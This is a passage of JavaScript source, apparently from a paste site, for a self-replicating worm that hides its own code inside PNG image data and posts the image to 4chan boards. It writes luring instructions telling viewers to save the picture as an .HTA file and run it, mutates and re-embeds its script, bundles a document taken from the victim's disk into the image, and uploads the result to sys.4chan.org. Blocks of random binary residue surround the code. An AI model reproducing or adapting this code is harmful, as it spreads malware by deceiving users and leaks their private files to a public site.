  711. case 0: if (subjectlist.length > 0) settings.line1 = randomchoice(subjectlist); break;
  712. case 1: settings.line1 = comment.match(/^[a-z0-9'-\/$ ]*[\.\?\!:]*/i)[0].toUpperCase(); break;
  713. case 2: settings.line1 = ""; break;
  714. }
  715. }
  716. if (MUT()) {
  717. var wordsource = (Math.random() < .5 || subjectlist.length == 0) ? comment : randomchoice(subjectlist);
  718. var words = wordsource.match(/[a-z1234]+/gi);
  719. if (words != null) settings.name = randomchoice(words).toUpperCase();
  720. }
  721. for (var i = 0; i < settings.wordchoice.length; i++) {
  722. if (MUT()) settings.wordchoice[i] = Math.floor(60*Math.random());
  723. }
  724. for (var i = 0; i < settings.savechoice.length; i++) {
  725. if (MUT()) settings.savechoice[i] = Math.floor(60*Math.random());
  726. }
  727. settings.splitpoint = Math.random();
  728. // Write settings into new script
  729. var newscript = "//<scr"+"ipt id=thisscript>\r\nvar initsettings = {};\r\n";
  730. for (var x in settings) {
  731. switch(typeof settings[x]) {
  732. case "number":
  733. newscript += "initsettings." + x + " = " + settings[x] + ";\r\n";
  734. break;
  735. case "object":
  736. newscript += "initsettings." + x + " = [" + settings[x].join(",") + "];\r\n";
  737. break;
  738. case "string":
  739. newscript += "initsettings." + x + " = unescape(\"" + escape(settings[x]) + "\");\r\n";
  740. break;
  741. }
  742. }
  743. newscript += "//end init"+"settings" + scripttext.split("//end init"+"settings")[1];
  744. // Choose words
  745. var lines = [];
  746. var wc = settings.wordchoice;
  747. lines[0] = settings.line1;
  748. lines[1] = ["OPEN", "CLICK", "TAKE", "VIEW", "START WITH"][wc[0]%5] + " " + [["THIS", "THE"][wc[1]%2] + " " + ["IMAGE", "PIC", "PICTURE", "FILE"][wc[2]%4], "ME"][wc[3]%2];
  749. if (wc[4]%2) lines[1] = "";
  750. lines[2] = ["COPY", "COPY+PASTE", "PASTE"][wc[5]%3] + [" ", " IT ", " ME ", " THIS "][wc[6]%4] + "TO " + ["PAINT", "MSPAINT"][wc[7]%2];
  751. lines[3] = "SAVE" + [" ", " IT ", " THE FILE ", " ME "][wc[8]%4] + "AS" + [":", ""][wc[9]%2];
  752. lines[4] = ["FILE NAME: ", "NAME: ", ""][wc[10]%3] + settings.name + ".HTA";
  753. lines[5] = ["SAVE AS TYPE: ", "TYPE: ", ""][wc[11]%3] + ["24-BIT BITMAP", "24 BITS", "BITMAP"][wc[12]%3];
  754. if (wc[13]%2) lines[5] = "";
  755. lines[6] = ["", "THEN ", "AND "][wc[14]%3] + "OPEN" + ["", " IT", " THE FILE", " IT AGAIN"][wc[15]%4];
  756. lines[6] = ["", lines[6], lines[6] + " AND SHIT BRICKS", "SHIT BRICKS"][wc[16]%4];
  757. if (wc[17]%2) {
  758. var num = 1;
  759. for (var i = 1; i <= 6; i++) {
  760. if (i != 4 && i != 5 && lines[i] != "") {
  761. lines[i] = num + ". " + lines[i];
  762. num++;
  763. }
  764. }
  765. }
  766. // Draw text
  767. var instr = new TextPic();
  768. instr.yc = settings.top;
  769. for (var i = 0; i < lines.length; i++) {
  770. if (lines[i] != "") {
  771. instr.pt = settings.pt[i];
  772. instr.xc = settings.xc[i];
  773. instr.drawline(lines[i]);
  774. }
  775. }
  776. instr.xmin -= Math.round(settings.left * (instr.xmax - instr.xmin));
  777. instr.xmax += Math.round(settings.right * (instr.xmax - instr.xmin));
  778. instr.xmax += 3 - (instr.xmax - instr.xmin + 3) % 4; // make width multiple of 4 pixels
  779. var rle = instr.getRLE(settings.fg, settings.bg);
  780. var w = instr.xmax - instr.xmin;
  781. var tmargin = Math.round(settings.top * rle.length);
  782. var bmargin = Math.round(settings.bottom * rle.length);
  783. for (var i = 0; i < tmargin; i++) rle.splice(0, 0, [[settings.bg, w]]);
  784. for (var i = 0; i < bmargin; i++) rle.push([[settings.bg, w]]);
  785. var h = rle.length;
  786. // Find place to split image
  787. var blanks = 0;
  788. for (var y = 0; y < h; y++) {
  789. if (rle[y].length == 1) blanks++;
  790. }
  791. var iblank = Math.floor(settings.splitpoint*blanks);
  792. var ysplit;
  793. for (var ysplit = 0; ysplit < h; ysplit++) {
  794. if (rle[ysplit].length == 1) {
  795. if (iblank <= 0) break;
  796. iblank--;
  797. }
  798. }
  799. // Prepare script for insertion into image
  800. var scriptlines = newscript.split("\n");
  801. var scriptlines2 = [];
  802. \Wu+
  803. (kNG]
  804. @av_\
  805. )hg[
  806. VDVe
  807. `"cm'
  808. m;T&,
  809. oD&sH
  810. 0"zS=RDq
  811. 3AnMn+
  812. rudb
  813. w~]c(
  814. D!L?
  815. YN/T(
  816. RMV@/
  817. ^PBd
  818. '|[8
  819. '=De
  820. Lr"m
  821. 45:u
  822. T48&=
  823. T[qI
  824. R8B"
  825. )P3
  826. Kji^
  827. 7Ws`
  828. 6x:_2
  829. -9lG
  830. ]j_L
  831. ]x,}#
  832. {H,Um
  833. S4-3o
  834. oFf;
  835. 7CSx&
  836. E^%$
  837. F;
  838. J:-l/
  839. t,^9
  840. $Ycg
  841. }?n<
  842. AP8tX
  843. 6M~i
  844. EO58{9
  845. eSbY
  846. W1r!6W
  847. #DOpd
  848. (2=
  849. */ var sline = "";
  850. for (var i = 0; i < scriptlines.length;) {
  851. if (sline.length + scriptlines[i].length + 1 > 3*w - 4) {
  852. if (sline == "") throw("");
  853. scriptlines2.push("*/" + sline + "/*");
  854. sline = "";
  855. } else {
  856. sline += scriptlines[i++] + "\n";
  857. }
  858. }
  859. if (sline != "") scriptlines2.push("*/" + sline + "/*");
  860. for (var i = 0; i < scriptlines2.length; i++) {
  861. var nleft = Math.floor(Math.random()*(3*w - scriptlines2[i].length + 1));
  862. var nright = 3*w - scriptlines2[i].length - nleft;
  863. scriptlines2[i] = randomdata(nleft, 1) + scriptlines2[i] + randomdata(nright, 1);
  864. }
  865. // Read document, wrap in uncompressed 7zip file
  866. var doc = "";
  867. var doclines = 0;
  868. if (doclist.length > 0) {
  869. try {
  870. var nleft = Math.floor(Math.random() * 3*w/2);
  871. var nright = Math.floor(Math.random() * 3*w/2);
  872. doc = randomdata(nleft, 2) + sevenz(randomchoice(doclist))[0] + randomdata(nright, 2);
  873. doclines = Math.ceil(2 * doc.length / (3*w));
  874. } catch(e) {}
  875. }
  876. // Encode PNG image
  877. var png = new PNGEncoder(w, h + doclines + scriptlines2.length - 1);
  878. for (var y = 0; y < ysplit; y++) {
  879. png.addRLE(rle[y]);
  880. }
  881. for (var i = doclines - 1; i >= 0; i--) {
  882. png.addBGR(doc.substr(3*i*w/2, 3*w/2), 2, settings.bg);
  883. }
  884. for (var i = scriptlines2.length - 1; i >= 0; i--) {
  885. png.addBGR(scriptlines2[i], 1, settings.bg);
  886. }
  887. for (var y = ysplit + 1; y < h; y++) {
  888. png.addRLE(rle[y]);
  889. }
  890. // Set URL to post to
  891. request.open("post", "http://sys.4chan.org/" + dir[board] + "/post", 0);
  892. // Set headers
  893. var bdry = "---------------------------" + randomstring("0123456789abcdef", 13);
  894. request.setRequestHeader("Accept-Language", "en-us");
  895. request.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + bdry);
  896. // Create POST data
  897. var stream = textstream(3 /*rw*/);
  898. var head = "--" + bdry + "\r\nContent-Disposition: form-data; name=\"";
  899. var part1 = head + "MAX_FILE_SIZE\"\r\n\r\n" + (mfs[board]*1048576) + "\r\n"
  900. + (thread == "" ? "" : (head + "resto\"\r\n\r\n" + thread + "\r\n"))
  901. + head + "name\"\r\n\r\n\r\n"
  902. + head + "email\"\r\n\r\nnoko\r\n"
  903. + head + "sub\"\r\n\r\n\r\n"
  904. + head + "com\"\r\n\r\n" + garble(comment) + "\r\n"
  905. + head + "upfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/x-png\r\n\r\n";
  906. writestring(stream, part1);
  907. png.writeto(stream);
  908. var part3 = "\r\n"
  909. + head + "pwd\"\r\n\r\n" + randomstring("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", 8) + "\r\n"
  910. + head + "mode\"\r\n\r\nregist\r\n"
  911. + "--" + bdry + "--\r\n";
  912. writestring(stream, part3);
  913. stream = tobinary(stream);
  914. // Post file
  915. request.send(stream);
  916. stream.close();
  917. } catch(e) {}
  918. }
  919. //</script>
  920. (coW
  921. 65R}
  922. oBR@
  923. w^cxS
  924. W6AT
  925. {L%(
  926. [z'GV
  927. |r!84
  928. wRM-
  929. G$hFm
  930. pEU}
  931. D_1C
  932. =&oMf
  933. *]hc
  934. NyH]
  935. nWw@
  936. >[!XAx
  937. ]CzX
  938. Bj){
  939. ?lnM
  940. =OqFnk
  941. ZVXH
  942. qzn4
  943. Y<|5
  944. NxYy
  945. i?
  946. @3G|%
  947. !dHI|
  948. 8T$2
  949. 4 X(r
  950. .G"3-}
  951. tX5(
  952. g7o|
  953. 89:J{
  954. 0aG]
  955. Xi="8
  956. gs*K
  957. G^jS
  958. <l-C3~
  959. RKRW=
  960. IG=o
  961. WJ/9
  962. G?ST4
  963. >Nyu
  964. moR<
  965. >T]p
  966. =nP!jE
  967. 9!jIR
  968. F\Ou
  969. MJd5
  970. L;[4>
  971. 7(C(
  972. a]Y#
  973. V|%e&d
  974. }{8[
  975. t za
  976. ycZz3
  977. 'R8fVp
  978. iXgi|
  979. sS=G
  980. 0"l<4
  981. 9?T/
  982. Xx|L
Advertisement
Add Comment
Please, Sign In to add comment